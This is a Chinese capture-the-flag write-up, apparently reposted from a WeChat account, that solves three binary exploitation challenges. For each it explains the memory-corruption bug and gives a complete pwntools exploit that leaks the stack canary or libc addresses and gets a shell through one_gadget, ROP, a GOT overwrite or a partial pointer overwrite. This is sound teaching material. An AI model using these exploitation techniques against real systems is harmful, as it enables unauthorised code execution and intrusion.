前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWNCTF部分复现

PWNCTF部分复现

作者头像
安恒网络空间安全讲武堂
发布2018-12-18 15:43:37
8460
发布2018-12-18 15:43:37
举报

Exploit Class

根据readData和writedata函数的逻辑发现数组是char [22][12],主要是判断越界的if语句有逻辑漏洞

readData函数

writeData函数

我通过输入正好越界的数组地址发现Canary被破坏,程序退出时SIGARBT,发现canary正好在数组上方…

当然也可以在比较canary时下断点,在栈上找到RAX是和哪一个数据比较的

这里发现在0x7fffffffdbf0处,那么就可以得出相对数组的偏移了

接下来就可以泄露canary了,由于canary的设计就考虑了被顺带打印出来,最低位一定是\x00,那么填满数组的21行,再在22行输入单个字符防止零截断,就可以顺带打印出canary

由于程序保护全开,不过PIE对本题没什么影响,这里我选择泄露栈上的__libc_start_main函数地址,推算出libc基址后用one_gadget找到一发getshell的偏移覆盖saved rip,泄露方法同canary

不过需要注意的是,每次read写入12字节,调试发现是entry=24时,retaddr在偏移8处,所以这里只能把8字节的p64(one_gadget)分两次写入,ROP方法也是一样的

ROP方法需要pop rdi ret,如果用elf中的gadget,需要计算出程序加载基址,必须再次泄露绕过PIE,这里我直接用了libc中的pop rdi ret,不需要再泄露一次了

不过这里我打远程的时候有一些玄学问题,给的libc好像有点奇怪,可能是因为比赛也结束好几天了……exp中的gadget都是选择的我本地运行环境的libc

EXP:

代码语言:javascript
复制
from pwn import *

p = process("./exploitClass")
elf = ELF("./exploitClass")
libc = elf.libc

def read(index):
    p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
    p.sendline("1")
    p.recvuntil("Which entry to show?\n")
    p.sendline(str(index))
    ret_info = p.recvuntil("\n")
    return ret_info[:-1]

def write(index,data):
    p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
    p.sendline("2")
    p.recvuntil("Which entry to write?\n")
    p.sendline(str(index))
    p.recvuntil("What to write?\n")
    p.send(data)


write(21,"A"*12)
write(22,"B")
canary = u64(read(21)[12:20])-ord("B")
print "canary = " + hex(canary)

#libc_start_main offset = 48
write(22,"1"*12)
write(23,"1"*12)
write(24,"1"*12)
write(25,"1"*12)

libc_base=u64(read(21)[12+48:20+48-2].ljust(8,'\x00')) - 240 - libc.symbols['__libc_start_main']

print "libc_base = " + hex(libc_base)
raw_input()
pop_rdi_ret = 0x21102 + libc_base
p64_pop_rdi = p64(pop_rdi_ret)
binsh_addr = 0x18cd57 + libc_base
system = libc.symbols['system'] + libc_base
write(22,p64(canary))

#one_gadget
write(24,"1"*8+p64(libc_base+0x45216)[0:4])
write(25,p64(libc_base+0x45216)[4:8])

#write(24,"1"*8+p64_pop_rdi[0:4])
#write(25,p64_pop_rdi[4:8]+p64(binsh_addr))
#write(26,p64(system))

p.sendline("3")
p.interactive()

Importantservice

IDA简单逆向下,发现逻辑还是挺清楚的,可以让read溢出一次,但是程序开了PIE和ASLR,用于泄露的话就没办法劫持流程了

同时发现程序中有不需要参数的givemeshellpls函数

本题需要注意到函数指针v5在栈上,原本v5被赋值成dologic,而调试发现dologic和giveshell的函数只有最低一字节不同,正好绕过PIE

用peda的info functions查看

这里如果要给开了PIE的程序下断点,我一般是先vmmap看ELF的基址,然后手动加上函数偏移

判断的绕过也比较简单,第二个为0即可

通常,一个内存页大小为0x1000,这表明地址的后12位,3个十六进制数的地址是始终不变的,也就是patial write bypass PIE

这几题实际操作中发现涉及scanf的读入整数最好都用sendline,否则会卡住

EXP:

代码语言:javascript
复制
from pwn import *
p = process("./importantservice")
elf = ELF("./importantservice")

#gdb-peda  info functions
shell_func = 0x11a9
dologic = 0x11bc

#send(payload)不能用sendline
#这里我尝试payload = 'A'*0x400+'\xa9\x11'
#之后sendline("1026 0 ")
#会失败,因为程序运行时dologic = 0x00005555555551bc
#只是最后两位没有变,这样的话改了4位

p.recv()
p.sendline("1025 0")
p.recv()

payload = 'A'*0x400+'\xa9'

p.send(payload)
p.interactive()

kindergarten

有漏洞的逻辑,主要是没有判断数组下标为负值的情况

发现array在bss段上

而got和plt都在数组的低地址处,这表明输入负数下标就可以有机会篡改表中数值

这里因为exit没有被调用过,所以选择改exit@plt,偏移为-0x50

程序提供了libc,这里用one_gadget这个工具找到一发getshell的偏移

调试时发现满足RAX==0的条件

实际写exp时需要注意p8()和u8()的signed=True参数,一开始写的时候一直失败,后来看context.log_level=’debug’的输出发现这一点

泄露出函数在GOT表中的位置后计算出libc基址,调整one_gadget的地址

这里交互时也可以发现都必须是有符号的数,写入的负数输出时仍然是负数

Exp中leak数据给出了2种方法,一种是不断的p8()然后一次性u64(),第二种是通过位运算得出

EXP:

代码语言:javascript
复制
from pwn import *
p = process("./kindergarten",env = {"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./kindergarten")
libc = ELF("./libc-2.23.so")
context.log_level = 'debug'

def leak(io,offset):
    buf=''
    addr = 0
    for i in xrange(8):
        io.recvuntil("give me an index:\n> ")
        io.sendline(str(offset+i)) # input < 0 ,最先打印的是低字节
        io.recvuntil("is ")
        byte = int(io.recvuntil(".",drop=True))
        io.sendline(str(byte))
        buf += p8(byte,signed=True) #这里符合p64,低字节在前
        addr |= ((byte&0xff)<<(8*i))    
        #不影响其他位的或运算,选择&0xff
    return u64(buf) # return addr 两种方法均可

def write(io,offset,data):
    for i in xrange(len(data)):
        io.recvuntil("give me an index:\n> ")
        io.sendline(str(offset+i))
        io.recvline()
        byte = u8(data[i],signed=True)
        io.sendline(str(byte))  

#手动交互得到的也是-1这样的数据
#从调试输出得到p8和u8都必须加上signed = True
#当然write函数中也可以用移位,再u8()

one_gadget_off = 0x45216 # rax == NULL,satisfied
array = 0x4080 # array = setvbuf.got.plt + 0x60

setvbuf_addr = leak(p,-0x60)
print "setvbuf_addr = " + hex(setvbuf_addr)
libc_base = setvbuf_addr - libc.symbols['setvbuf']
one_gadget = libc_base + one_gadget_off

#把exit@plt改成one_gadget
write(p,-0x50,p64(one_gadget))
p.sendline("Give me the shell")
p.recv()
p.interactive()

PS:PWNCTF的地址https://uni.hctf.fun/pages/home/ 题目仍然是可以下载的

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-11-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档